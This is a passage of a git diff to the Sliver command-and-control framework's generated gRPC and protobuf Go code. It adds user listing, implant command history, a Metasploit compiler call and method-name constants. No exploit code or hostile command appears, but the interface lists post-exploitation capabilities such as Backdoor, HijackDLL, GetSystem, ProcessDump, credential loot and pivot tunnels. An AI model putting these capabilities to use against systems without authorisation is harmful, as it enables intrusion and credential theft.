-> sliverpb.Mkdir + 166, // 267: rpcpb.SliverRPC.Download:output_type -> sliverpb.Download + 167, // 268: rpcpb.SliverRPC.Upload:output_type -> sliverpb.Upload + 168, // 269: rpcpb.SliverRPC.Chmod:output_type -> sliverpb.Chmod + 169, // 270: rpcpb.SliverRPC.Chown:output_type -> sliverpb.Chown + 170, // 271: rpcpb.SliverRPC.Chtimes:output_type -> sliverpb.Chtimes + 160, // 272: rpcpb.SliverRPC.MemfilesList:output_type -> sliverpb.Ls + 171, // 273: rpcpb.SliverRPC.MemfilesAdd:output_type -> sliverpb.MemfilesAdd + 172, // 274: rpcpb.SliverRPC.MemfilesRm:output_type -> sliverpb.MemfilesRm + 173, // 275: rpcpb.SliverRPC.ProcessDump:output_type -> sliverpb.ProcessDump + 174, // 276: rpcpb.SliverRPC.RunAs:output_type -> sliverpb.RunAs + 175, // 277: rpcpb.SliverRPC.Impersonate:output_type -> sliverpb.Impersonate + 176, // 278: rpcpb.SliverRPC.RevToSelf:output_type -> sliverpb.RevToSelf + 177, // 279: rpcpb.SliverRPC.GetSystem:output_type -> sliverpb.GetSystem + 178, // 280: rpcpb.SliverRPC.Task:output_type -> sliverpb.Task + 178, // 281: rpcpb.SliverRPC.Msf:output_type -> sliverpb.Task + 178, // 282: rpcpb.SliverRPC.MsfRemote:output_type -> sliverpb.Task + 179, // 283: rpcpb.SliverRPC.ExecuteAssembly:output_type -> sliverpb.ExecuteAssembly + 180, // 284: rpcpb.SliverRPC.Migrate:output_type -> sliverpb.Migrate + 181, // 285: rpcpb.SliverRPC.Execute:output_type -> sliverpb.Execute + 181, // 286: rpcpb.SliverRPC.ExecuteWindows:output_type -> sliverpb.Execute + 182, // 287: rpcpb.SliverRPC.Sideload:output_type -> sliverpb.Sideload + 183, // 288: rpcpb.SliverRPC.SpawnDll:output_type -> sliverpb.SpawnDll + 184, // 289: rpcpb.SliverRPC.Screenshot:output_type -> sliverpb.Screenshot + 185, // 290: rpcpb.SliverRPC.CurrentTokenOwner:output_type -> sliverpb.CurrentTokenOwner + 186, // 291: rpcpb.SliverRPC.PivotStartListener:output_type -> sliverpb.PivotListener + 0, // 292: rpcpb.SliverRPC.PivotStopListener:output_type -> commonpb.Empty + 187, // 293: rpcpb.SliverRPC.PivotSessionListeners:output_type -> sliverpb.PivotListeners + 188, // 294: rpcpb.SliverRPC.PivotGraph:output_type -> clientpb.PivotGraph + 189, // 295: rpcpb.SliverRPC.StartService:output_type -> sliverpb.ServiceInfo + 189, // 296: rpcpb.SliverRPC.StopService:output_type -> sliverpb.ServiceInfo + 189, // 297: rpcpb.SliverRPC.RemoveService:output_type -> sliverpb.ServiceInfo + 190, // 298: rpcpb.SliverRPC.MakeToken:output_type -> sliverpb.MakeToken + 191, // 299: rpcpb.SliverRPC.GetEnv:output_type -> sliverpb.EnvInfo + 192, // 300: rpcpb.SliverRPC.SetEnv:output_type -> sliverpb.SetEnv + 193, // 301: rpcpb.SliverRPC.UnsetEnv:output_type -> sliverpb.UnsetEnv + 194, // 302: rpcpb.SliverRPC.Backdoor:output_type -> clientpb.Backdoor + 195, // 303: rpcpb.SliverRPC.RegistryRead:output_type -> sliverpb.RegistryRead + 196, // 304: rpcpb.SliverRPC.RegistryWrite:output_type -> sliverpb.RegistryWrite + 197, // 305: rpcpb.SliverRPC.RegistryCreateKey:output_type -> sliverpb.RegistryCreateKey + 198, // 306: rpcpb.SliverRPC.RegistryDeleteKey:output_type -> sliverpb.RegistryDeleteKey + 199, // 307: rpcpb.SliverRPC.RegistryListSubKeys:output_type -> sliverpb.RegistrySubKeyList + 200, // 308: rpcpb.SliverRPC.RegistryListValues:output_type -> sliverpb.RegistryValuesList + 201, // 309: rpcpb.SliverRPC.RunSSHCommand:output_type -> sliverpb.SSHCommand + 202, // 310: rpcpb.SliverRPC.HijackDLL:output_type -> clientpb.DllHijack + 203, // 311: rpcpb.SliverRPC.GetPrivs:output_type -> sliverpb.GetPrivs + 204, // 312: rpcpb.SliverRPC.StartRportFwdListener:output_type -> sliverpb.RportFwdListener + 205, // 313: rpcpb.SliverRPC.GetRportFwdListeners:output_type -> sliverpb.RportFwdListeners + 204, // 314: rpcpb.SliverRPC.StopRportFwdListener:output_type -> sliverpb.RportFwdListener + 100, // 315: rpcpb.SliverRPC.OpenSession:output_type -> sliverpb.OpenSession + 0, // 316: rpcpb.SliverRPC.CloseSession:output_type -> commonpb.Empty + 206, // 317: rpcpb.SliverRPC.RegisterExtension:output_type -> sliverpb.RegisterExtension + 207, // 318: rpcpb.SliverRPC.CallExtension:output_type -> sliverpb.CallExtension + 208, // 319: rpcpb.SliverRPC.ListExtensions:output_type -> sliverpb.ListExtensions + 209, // 320: rpcpb.SliverRPC.RegisterWasmExtension:output_type -> sliverpb.RegisterWasmExtension + 210, // 321: rpcpb.SliverRPC.ListWasmExtensions:output_type -> sliverpb.ListWasmExtensions + 211, // 322: rpcpb.SliverRPC.ExecWasmExtension:output_type -> sliverpb.ExecWasmExtension + 212, // 323: rpcpb.SliverRPC.WGStartPortForward:output_type -> sliverpb.WGPortForward + 212, // 324: rpcpb.SliverRPC.WGStopPortForward:output_type -> sliverpb.WGPortForward + 213, // 325: rpcpb.SliverRPC.WGStartSocks:output_type -> sliverpb.WGSocks + 213, // 326: rpcpb.SliverRPC.WGStopSocks:output_type -> sliverpb.WGSocks + 214, // 327: rpcpb.SliverRPC.WGListForwarders:output_type -> sliverpb.WGTCPForwarders + 215, // 328: rpcpb.SliverRPC.WGListSocksServers:output_type -> sliverpb.WGSocksServers + 216, // 329: rpcpb.SliverRPC.Shell:output_type -> sliverpb.Shell + 217, // 330: rpcpb.SliverRPC.Portfwd:output_type -> sliverpb.Portfwd + 116, // 331: rpcpb.SliverRPC.CreateSocks:output_type -> sliverpb.Socks + 0, // 332: rpcpb.SliverRPC.CloseSocks:output_type -> commonpb.Empty + 117, // 333: rpcpb.SliverRPC.SocksProxy:output_type -> sliverpb.SocksData + 118, // 334: rpcpb.SliverRPC.CreateTunnel:output_type -> sliverpb.Tunnel + 0, // 335: rpcpb.SliverRPC.CloseTunnel:output_type -> commonpb.Empty + 119, // 336: rpcpb.SliverRPC.TunnelData:output_type -> sliverpb.TunnelData + 25, // 337: rpcpb.SliverRPC.Events:output_type -> clientpb.Event + 169, // [169:338] is the sub-list for method output_type + 0, // [0:169] is the sub-list for method input_type 0, // [0:0] is the sub-list for extension type_name 0, // [0:0] is the sub-list for extension extendee 0, // [0:0] is the sub-list for field type_name diff --git a/protobuf/rpcpb/services.proto b/protobuf/rpcpb/services.proto index 68401fde39..117aedc9b0 100644 --- a/protobuf/rpcpb/services.proto +++ b/protobuf/rpcpb/services.proto @@ -8,20 +8,21 @@ import "clientpb/client.proto"; service SliverRPC { - // *** Version *** + // *** Teamclient *** rpc GetVersion(commonpb.Empty) returns (clientpb.Version); + rpc GetUsers(commonpb.Empty) returns (clientpb.Users); // *** Client Logs *** rpc ClientLog(stream clientpb.ClientLogData) returns (commonpb.Empty); - // *** Operator Commands *** - rpc GetOperators(commonpb.Empty) returns (clientpb.Operators); - // *** Generic *** rpc Kill(sliverpb.KillReq) returns (commonpb.Empty); rpc Reconfigure(sliverpb.ReconfigureReq) returns (sliverpb.Reconfigure); rpc Rename(clientpb.RenameReq) returns (commonpb.Empty); + rpc ImplantHistory(stream clientpb.ImplantCommand) returns (commonpb.Empty); + rpc GetImplantHistory(clientpb.HistoryRequest) returns (clientpb.History); + // *** Sessions *** rpc GetSessions(commonpb.Empty) returns (clientpb.Sessions); @@ -125,6 +126,7 @@ service SliverRPC { rpc MsfStage(clientpb.MsfStagerReq) returns (clientpb.MsfStager); rpc ShellcodeRDI(clientpb.ShellcodeRDIReq) returns (clientpb.ShellcodeRDI); rpc GetCompiler(commonpb.Empty) returns (clientpb.Compiler); + rpc GetMetasploitCompiler(commonpb.Empty) returns (clientpb.MetasploitCompiler); rpc ShellcodeEncoder(clientpb.ShellcodeEncodeReq) returns (clientpb.ShellcodeEncode); rpc ShellcodeEncoderMap(commonpb.Empty) diff --git a/protobuf/rpcpb/services_grpc.pb.go b/protobuf/rpcpb/services_grpc.pb.go index ebb8f65494..1291000cb8 100644 --- a/protobuf/rpcpb/services_grpc.pb.go +++ b/protobuf/rpcpb/services_grpc.pb.go @@ -1,7 +1,7 @@ // Code generated by protoc-gen-go-grpc. DO NOT EDIT. // versions: -// - protoc-gen-go-grpc v1.2.0 -// - protoc v3.21.12 +// - protoc-gen-go-grpc v1.3.0 +// - protoc v3.15.8 // source: rpcpb/services.proto package rpcpb @@ -21,20 +21,193 @@ import ( // Requires gRPC-Go v1.32.0 or later. const _ = grpc.SupportPackageIsVersion7 +const ( + SliverRPC_GetVersion_FullMethodName = "/rpcpb.SliverRPC/GetVersion" + SliverRPC_GetUsers_FullMethodName = "/rpcpb.SliverRPC/GetUsers" + SliverRPC_ClientLog_FullMethodName = "/rpcpb.SliverRPC/ClientLog" + SliverRPC_Kill_FullMethodName = "/rpcpb.SliverRPC/Kill" + SliverRPC_Reconfigure_FullMethodName = "/rpcpb.SliverRPC/Reconfigure" + SliverRPC_Rename_FullMethodName = "/rpcpb.SliverRPC/Rename" + SliverRPC_ImplantHistory_FullMethodName = "/rpcpb.SliverRPC/ImplantHistory" + SliverRPC_GetImplantHistory_FullMethodName = "/rpcpb.SliverRPC/GetImplantHistory" + SliverRPC_GetSessions_FullMethodName = "/rpcpb.SliverRPC/GetSessions" + SliverRPC_GetBeacons_FullMethodName = "/rpcpb.SliverRPC/GetBeacons" + SliverRPC_GetBeacon_FullMethodName = "/rpcpb.SliverRPC/GetBeacon" + SliverRPC_RmBeacon_FullMethodName = "/rpcpb.SliverRPC/RmBeacon" + SliverRPC_GetBeaconTasks_FullMethodName = "/rpcpb.SliverRPC/GetBeaconTasks" + SliverRPC_GetBeaconTaskContent_FullMethodName = "/rpcpb.SliverRPC/GetBeaconTaskContent" + SliverRPC_CancelBeaconTask_FullMethodName = "/rpcpb.SliverRPC/CancelBeaconTask" + SliverRPC_MonitorStart_FullMethodName = "/rpcpb.SliverRPC/MonitorStart" + SliverRPC_MonitorStop_FullMethodName = "/rpcpb.SliverRPC/MonitorStop" + SliverRPC_GetJobs_FullMethodName = "/rpcpb.SliverRPC/GetJobs" + SliverRPC_KillJob_FullMethodName = "/rpcpb.SliverRPC/KillJob" + SliverRPC_StartMTLSListener_FullMethodName = "/rpcpb.SliverRPC/StartMTLSListener" + SliverRPC_StartWGListener_FullMethodName = "/rpcpb.SliverRPC/StartWGListener" + SliverRPC_StartDNSListener_FullMethodName = "/rpcpb.SliverRPC/StartDNSListener" + SliverRPC_StartHTTPSListener_FullMethodName = "/rpcpb.SliverRPC/StartHTTPSListener" + SliverRPC_StartHTTPListener_FullMethodName = "/rpcpb.SliverRPC/StartHTTPListener" + SliverRPC_StartTCPStagerListener_FullMethodName = "/rpcpb.SliverRPC/StartTCPStagerListener" + SliverRPC_StartHTTPStagerListener_FullMethodName = "/rpcpb.SliverRPC/StartHTTPStagerListener" + SliverRPC_LootAdd_FullMethodName = "/rpcpb.SliverRPC/LootAdd" + SliverRPC_LootRm_FullMethodName = "/rpcpb.SliverRPC/LootRm" + SliverRPC_LootUpdate_FullMethodName = "/rpcpb.SliverRPC/LootUpdate" + SliverRPC_LootContent_FullMethodName = "/rpcpb.SliverRPC/LootContent" + SliverRPC_LootAll_FullMethodName = "/rpcpb.SliverRPC/LootAll" + SliverRPC_Creds_FullMethodName = "/rpcpb.SliverRPC/Creds" + SliverRPC_CredsAdd_FullMethodName = "/rpcpb.SliverRPC/CredsAdd" + SliverRPC_CredsRm_FullMethodName = "/rpcpb.SliverRPC/CredsRm" + SliverRPC_CredsUpdate_FullMethodName = "/rpcpb.SliverRPC/CredsUpdate" + SliverRPC_GetCredByID_FullMethodName = "/rpcpb.SliverRPC/GetCredByID" + SliverRPC_GetCredsByHashType_FullMethodName = "/rpcpb.SliverRPC/GetCredsByHashType" + SliverRPC_GetPlaintextCredsByHashType_FullMethodName = "/rpcpb.SliverRPC/GetPlaintextCredsByHashType" + SliverRPC_CredsSniffHashType_FullMethodName = "/rpcpb.SliverRPC/CredsSniffHashType" + SliverRPC_Hosts_FullMethodName = "/rpcpb.SliverRPC/Hosts" + SliverRPC_Host_FullMethodName = "/rpcpb.SliverRPC/Host" + SliverRPC_HostRm_FullMethodName = "/rpcpb.SliverRPC/HostRm" + SliverRPC_HostIOCRm_FullMethodName = "/rpcpb.SliverRPC/HostIOCRm" + SliverRPC_Generate_FullMethodName = "/rpcpb.SliverRPC/Generate" + SliverRPC_GenerateExternal_FullMethodName = "/rpcpb.SliverRPC/GenerateExternal" + SliverRPC_GenerateExternalSaveBuild_FullMethodName = "/rpcpb.SliverRPC/GenerateExternalSaveBuild" + SliverRPC_GenerateExternalGetImplantConfig_FullMethodName = "/rpcpb.SliverRPC/GenerateExternalGetImplantConfig" + SliverRPC_BuilderRegister_FullMethodName = "/rpcpb.SliverRPC/BuilderRegister" + SliverRPC_BuilderTrigger_FullMethodName = "/rpcpb.SliverRPC/BuilderTrigger" + SliverRPC_Builders_FullMethodName = "/rpcpb.SliverRPC/Builders" + SliverRPC_CrackstationRegister_FullMethodName = "/rpcpb.SliverRPC/CrackstationRegister" + SliverRPC_CrackstationTrigger_FullMethodName = "/rpcpb.SliverRPC/CrackstationTrigger" + SliverRPC_CrackstationBenchmark_FullMethodName = "/rpcpb.SliverRPC/CrackstationBenchmark" + SliverRPC_Crackstations_FullMethodName = "/rpcpb.SliverRPC/Crackstations" + SliverRPC_CrackTaskByID_FullMethodName = "/rpcpb.SliverRPC/CrackTaskByID" + SliverRPC_CrackTaskUpdate_FullMethodName = "/rpcpb.SliverRPC/CrackTaskUpdate" + SliverRPC_CrackFilesList_FullMethodName = "/rpcpb.SliverRPC/CrackFilesList" + SliverRPC_CrackFileCreate_FullMethodName = "/rpcpb.SliverRPC/CrackFileCreate" + SliverRPC_CrackFileChunkUpload_FullMethodName = "/rpcpb.SliverRPC/CrackFileChunkUpload" + SliverRPC_CrackFileChunkDownload_FullMethodName = "/rpcpb.SliverRPC/CrackFileChunkDownload" + SliverRPC_CrackFileComplete_FullMethodName = "/rpcpb.SliverRPC/CrackFileComplete" + SliverRPC_CrackFileDelete_FullMethodName = "/rpcpb.SliverRPC/CrackFileDelete" + SliverRPC_Regenerate_FullMethodName = "/rpcpb.SliverRPC/Regenerate" + SliverRPC_ImplantBuilds_FullMethodName = "/rpcpb.SliverRPC/ImplantBuilds" + SliverRPC_DeleteImplantBuild_FullMethodName = "/rpcpb.SliverRPC/DeleteImplantBuild" + SliverRPC_Canaries_FullMethodName = "/rpcpb.SliverRPC/Canaries" + SliverRPC_GenerateWGClientConfig_FullMethodName = "/rpcpb.SliverRPC/GenerateWGClientConfig" + SliverRPC_GenerateUniqueIP_FullMethodName = "/rpcpb.SliverRPC/GenerateUniqueIP" + SliverRPC_ImplantProfiles_FullMethodName = "/rpcpb.SliverRPC/ImplantProfiles" + SliverRPC_DeleteImplantProfile_FullMethodName = "/rpcpb.SliverRPC/DeleteImplantProfile" + SliverRPC_SaveImplantProfile_FullMethodName = "/rpcpb.SliverRPC/SaveImplantProfile" + SliverRPC_MsfStage_FullMethodName = "/rpcpb.SliverRPC/MsfStage" + SliverRPC_ShellcodeRDI_FullMethodName = "/rpcpb.SliverRPC/ShellcodeRDI" + SliverRPC_GetCompiler_FullMethodName = "/rpcpb.SliverRPC/GetCompiler" + SliverRPC_GetMetasploitCompiler_FullMethodName = "/rpcpb.SliverRPC/GetMetasploitCompiler" + SliverRPC_ShellcodeEncoder_FullMethodName = "/rpcpb.SliverRPC/ShellcodeEncoder" + SliverRPC_ShellcodeEncoderMap_FullMethodName = "/rpcpb.SliverRPC/ShellcodeEncoderMap" + SliverRPC_TrafficEncoderMap_FullMethodName = "/rpcpb.SliverRPC/TrafficEncoderMap" + SliverRPC_TrafficEncoderAdd_FullMethodName = "/rpcpb.SliverRPC/TrafficEncoderAdd" + SliverRPC_TrafficEncoderRm_FullMethodName = "/rpcpb.SliverRPC/TrafficEncoderRm" + SliverRPC_Websites_FullMethodName = "/rpcpb.SliverRPC/Websites" + SliverRPC_Website_FullMethodName = "/rpcpb.SliverRPC/Website" + SliverRPC_WebsiteRemove_FullMethodName = "/rpcpb.SliverRPC/WebsiteRemove" + SliverRPC_WebsiteAddContent_FullMethodName = "/rpcpb.SliverRPC/WebsiteAddContent" + SliverRPC_WebsiteUpdateContent_FullMethodName = "/rpcpb.SliverRPC/WebsiteUpdateContent" + SliverRPC_WebsiteRemoveContent_FullMethodName = "/rpcpb.SliverRPC/WebsiteRemoveContent" + SliverRPC_Ping_FullMethodName = "/rpcpb.SliverRPC/Ping" + SliverRPC_Ps_FullMethodName = "/rpcpb.SliverRPC/Ps" + SliverRPC_Terminate_FullMethodName = "/rpcpb.SliverRPC/Terminate" + SliverRPC_Ifconfig_FullMethodName = "/rpcpb.SliverRPC/Ifconfig" + SliverRPC_Netstat_FullMethodName = "/rpcpb.SliverRPC/Netstat" + SliverRPC_Ls_FullMethodName = "/rpcpb.SliverRPC/Ls" + SliverRPC_Cd_FullMethodName = "/rpcpb.SliverRPC/Cd" + SliverRPC_Pwd_FullMethodName = "/rpcpb.SliverRPC/Pwd" + SliverRPC_Mv_FullMethodName = "/rpcpb.SliverRPC/Mv" + SliverRPC_Cp_FullMethodName = "/rpcpb.SliverRPC/Cp" + SliverRPC_Rm_FullMethodName = "/rpcpb.SliverRPC/Rm" + SliverRPC_Mkdir_FullMethodName = "/rpcpb.SliverRPC/Mkdir" + SliverRPC_Download_FullMethodName = "/rpcpb.SliverRPC/Download" + SliverRPC_Upload_FullMethodName = "/rpcpb.SliverRPC/Upload" + SliverRPC_Chmod_FullMethodName = "/rpcpb.SliverRPC/Chmod" + SliverRPC_Chown_FullMethodName = "/rpcpb.SliverRPC/Chown" + SliverRPC_Chtimes_FullMethodName = "/rpcpb.SliverRPC/Chtimes" + SliverRPC_MemfilesList_FullMethodName = "/rpcpb.SliverRPC/MemfilesList" + SliverRPC_MemfilesAdd_FullMethodName = "/rpcpb.SliverRPC/MemfilesAdd" + SliverRPC_MemfilesRm_FullMethodName = "/rpcpb.SliverRPC/MemfilesRm" + SliverRPC_ProcessDump_FullMethodName = "/rpcpb.SliverRPC/ProcessDump" + SliverRPC_RunAs_FullMethodName = "/rpcpb.SliverRPC/RunAs" + SliverRPC_Impersonate_FullMethodName = "/rpcpb.SliverRPC/Impersonate" + SliverRPC_RevToSelf_FullMethodName = "/rpcpb.SliverRPC/RevToSelf" + SliverRPC_GetSystem_FullMethodName = "/rpcpb.SliverRPC/GetSystem" + SliverRPC_Task_FullMethodName = "/rpcpb.SliverRPC/Task" + SliverRPC_Msf_FullMethodName = "/rpcpb.SliverRPC/Msf" + SliverRPC_MsfRemote_FullMethodName = "/rpcpb.SliverRPC/MsfRemote" + SliverRPC_ExecuteAssembly_FullMethodName = "/rpcpb.SliverRPC/ExecuteAssembly" + SliverRPC_Migrate_FullMethodName = "/rpcpb.SliverRPC/Migrate" + SliverRPC_Execute_FullMethodName = "/rpcpb.SliverRPC/Execute" + SliverRPC_ExecuteWindows_FullMethodName = "/rpcpb.SliverRPC/ExecuteWindows" + SliverRPC_Sideload_FullMethodName = "/rpcpb.SliverRPC/Sideload" + SliverRPC_SpawnDll_FullMethodName = "/rpcpb.SliverRPC/SpawnDll" + SliverRPC_Screenshot_FullMethodName = "/rpcpb.SliverRPC/Screenshot" + SliverRPC_CurrentTokenOwner_FullMethodName = "/rpcpb.SliverRPC/CurrentTokenOwner" + SliverRPC_PivotStartListener_FullMethodName = "/rpcpb.SliverRPC/PivotStartListener" + SliverRPC_PivotStopListener_FullMethodName = "/rpcpb.SliverRPC/PivotStopListener" + SliverRPC_PivotSessionListeners_FullMethodName = "/rpcpb.SliverRPC/PivotSessionListeners" + SliverRPC_PivotGraph_FullMethodName = "/rpcpb.SliverRPC/PivotGraph" + SliverRPC_StartService_FullMethodName = "/rpcpb.SliverRPC/StartService" + SliverRPC_StopService_FullMethodName = "/rpcpb.SliverRPC/StopService" + SliverRPC_RemoveService_FullMethodName = "/rpcpb.SliverRPC/RemoveService" + SliverRPC_MakeToken_FullMethodName = "/rpcpb.SliverRPC/MakeToken" + SliverRPC_GetEnv_FullMethodName = "/rpcpb.SliverRPC/GetEnv" + SliverRPC_SetEnv_FullMethodName = "/rpcpb.SliverRPC/SetEnv" + SliverRPC_UnsetEnv_FullMethodName = "/rpcpb.SliverRPC/UnsetEnv" + SliverRPC_Backdoor_FullMethodName = "/rpcpb.SliverRPC/Backdoor" + SliverRPC_RegistryRead_FullMethodName = "/rpcpb.SliverRPC/RegistryRead" + SliverRPC_RegistryWrite_FullMethodName = "/rpcpb.SliverRPC/RegistryWrite" + SliverRPC_RegistryCreateKey_FullMethodName = "/rpcpb.SliverRPC/RegistryCreateKey" + SliverRPC_RegistryDeleteKey_FullMethodName = "/rpcpb.SliverRPC/RegistryDeleteKey" + SliverRPC_RegistryListSubKeys_FullMethodName = "/rpcpb.SliverRPC/RegistryListSubKeys" + SliverRPC_RegistryListValues_FullMethodName = "/rpcpb.SliverRPC/RegistryListValues" + SliverRPC_RunSSHCommand_FullMethodName = "/rpcpb.SliverRPC/RunSSHCommand" + SliverRPC_HijackDLL_FullMethodName = "/rpcpb.SliverRPC/HijackDLL" + SliverRPC_GetPrivs_FullMethodName = "/rpcpb.SliverRPC/GetPrivs" + SliverRPC_StartRportFwdListener_FullMethodName = "/rpcpb.SliverRPC/StartRportFwdListener" + SliverRPC_GetRportFwdListeners_FullMethodName = "/rpcpb.SliverRPC/GetRportFwdListeners" + SliverRPC_StopRportFwdListener_FullMethodName = "/rpcpb.SliverRPC/StopRportFwdListener" + SliverRPC_OpenSession_FullMethodName = "/rpcpb.SliverRPC/OpenSession" + SliverRPC_CloseSession_FullMethodName = "/rpcpb.SliverRPC/CloseSession" + SliverRPC_RegisterExtension_FullMethodName = "/rpcpb.SliverRPC/RegisterExtension" + SliverRPC_CallExtension_FullMethodName = "/rpcpb.SliverRPC/CallExtension" + SliverRPC_ListExtensions_FullMethodName = "/rpcpb.SliverRPC/ListExtensions" + SliverRPC_RegisterWasmExtension_FullMethodName = "/rpcpb.SliverRPC/RegisterWasmExtension" + SliverRPC_ListWasmExtensions_FullMethodName = "/rpcpb.SliverRPC/ListWasmExtensions" + SliverRPC_ExecWasmExtension_FullMethodName = "/rpcpb.SliverRPC/ExecWasmExtension" + SliverRPC_WGStartPortForward_FullMethodName = "/rpcpb.SliverRPC/WGStartPortForward" + SliverRPC_WGStopPortForward_FullMethodName = "/rpcpb.SliverRPC/WGStopPortForward" + SliverRPC_WGStartSocks_FullMethodName = "/rpcpb.SliverRPC/WGStartSocks" + SliverRPC_WGStopSocks_FullMethodName = "/rpcpb.SliverRPC/WGStopSocks" + SliverRPC_WGListForwarders_FullMethodName = "/rpcpb.SliverRPC/WGListForwarders" + SliverRPC_WGListSocksServers_FullMethodName = "/rpcpb.SliverRPC/WGListSocksServers" + SliverRPC_Shell_FullMethodName = "/rpcpb.SliverRPC/Shell" + SliverRPC_Portfwd_FullMethodName = "/rpcpb.SliverRPC/Portfwd" + SliverRPC_CreateSocks_FullMethodName = "/rpcpb.SliverRPC/CreateSocks" + SliverRPC_CloseSocks_FullMethodName = "/rpcpb.SliverRPC/CloseSocks" + SliverRPC_SocksProxy_FullMethodName = "/rpcpb.SliverRPC/SocksProxy" + SliverRPC_CreateTunnel_FullMethodName = "/rpcpb.SliverRPC/CreateTunnel" + SliverRPC_CloseTunnel_FullMethodName = "/rpcpb.SliverRPC/CloseTunnel" + SliverRPC_TunnelData_FullMethodName = "/rpcpb.SliverRPC/TunnelData" + SliverRPC_Events_FullMethodName = "/rpcpb.SliverRPC/Events" +) + // SliverRPCClient is the client API for SliverRPC service. // // For semantics around ctx use and closing/ending streaming RPCs, please refer to https://pkg.go.dev/google.golang.org/grpc/?tab=doc#ClientConn.NewStream. type SliverRPCClient interface { - // *** Version *** + // *** Teamclient *** GetVersion(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Version, error) + GetUsers(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Users, error) // *** Client Logs *** ClientLog(ctx context.Context, opts ...grpc.CallOption) (SliverRPC_ClientLogClient, error) - // *** Operator Commands *** - GetOperators(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Operators, error) // *** Generic *** Kill(ctx context.Context, in *sliverpb.KillReq, opts ...grpc.CallOption) (*commonpb.Empty, error) Reconfigure(ctx context.Context, in *sliverpb.ReconfigureReq, opts ...grpc.CallOption) (*sliverpb.Reconfigure, error) Rename(ctx context.Context, in *clientpb.RenameReq, opts ...grpc.CallOption) (*commonpb.Empty, error) + ImplantHistory(ctx context.Context, opts ...grpc.CallOption) (SliverRPC_ImplantHistoryClient, error) + GetImplantHistory(ctx context.Context, in *clientpb.HistoryRequest, opts ...grpc.CallOption) (*clientpb.History, error) // *** Sessions *** GetSessions(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Sessions, error) // *** Beacons *** @@ -114,6 +287,7 @@ type SliverRPCClient interface { MsfStage(ctx context.Context, in *clientpb.MsfStagerReq, opts ...grpc.CallOption) (*clientpb.MsfStager, error) ShellcodeRDI(ctx context.Context, in *clientpb.ShellcodeRDIReq, opts ...grpc.CallOption) (*clientpb.ShellcodeRDI, error) GetCompiler(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Compiler, error) + GetMetasploitCompiler(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.MetasploitCompiler, error) ShellcodeEncoder(ctx context.Context, in *clientpb.ShellcodeEncodeReq, opts ...grpc.CallOption) (*clientpb.ShellcodeEncode, error) ShellcodeEncoderMap(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.ShellcodeEncoderMap, error) TrafficEncoderMap(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.TrafficEncoderMap, error) @@ -231,7 +405,16 @@ func NewSliverRPCClient(cc grpc.ClientConnInterface) SliverRPCClient { func (c *sliverRPCClient) GetVersion(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Version, error) { out := new(clientpb.Version) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GetVersion", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_GetVersion_FullMethodName, in, out, opts...) + if err != nil { + return nil, err + } + return out, nil +} + +func (c *sliverRPCClient) GetUsers(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Users, error) { + out := new(clientpb.Users) + err := c.cc.Invoke(ctx, SliverRPC_GetUsers_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -239,7 +422,7 @@ func (c *sliverRPCClient) GetVersion(ctx context.Context, in *commonpb.Empty, op } func (c *sliverRPCClient) ClientLog(ctx context.Context, opts ...grpc.CallOption) (SliverRPC_ClientLogClient, error) { - stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[0], "/rpcpb.SliverRPC/ClientLog", opts...) + stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[0], SliverRPC_ClientLog_FullMethodName, opts...) if err != nil { return nil, err } @@ -272,18 +455,9 @@ func (x *sliverRPCClientLogClient) CloseAndRecv() (*commonpb.Empty, error) { return m, nil } -func (c *sliverRPCClient) GetOperators(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Operators, error) { - out := new(clientpb.Operators) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GetOperators", in, out, opts...) - if err != nil { - return nil, err - } - return out, nil -} - func (c *sliverRPCClient) Kill(ctx context.Context, in *sliverpb.KillReq, opts ...grpc.CallOption) (*commonpb.Empty, error) { out := new(commonpb.Empty) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Kill", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_Kill_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -292,7 +466,7 @@ func (c *sliverRPCClient) Kill(ctx context.Context, in *sliverpb.KillReq, opts . func (c *sliverRPCClient) Reconfigure(ctx context.Context, in *sliverpb.ReconfigureReq, opts ...grpc.CallOption) (*sliverpb.Reconfigure, error) { out := new(sliverpb.Reconfigure) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Reconfigure", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_Reconfigure_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -301,7 +475,50 @@ func (c *sliverRPCClient) Reconfigure(ctx context.Context, in *sliverpb.Reconfig func (c *sliverRPCClient) Rename(ctx context.Context, in *clientpb.RenameReq, opts ...grpc.CallOption) (*commonpb.Empty, error) { out := new(commonpb.Empty) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Rename", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_Rename_FullMethodName, in, out, opts...) + if err != nil { + return nil, err + } + return out, nil +} + +func (c *sliverRPCClient) ImplantHistory(ctx context.Context, opts ...grpc.CallOption) (SliverRPC_ImplantHistoryClient, error) { + stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[1], SliverRPC_ImplantHistory_FullMethodName, opts...) + if err != nil { + return nil, err + } + x := &sliverRPCImplantHistoryClient{stream} + return x, nil +} + +type SliverRPC_ImplantHistoryClient interface { + Send(*clientpb.ImplantCommand) error + CloseAndRecv() (*commonpb.Empty, error) + grpc.ClientStream +} + +type sliverRPCImplantHistoryClient struct 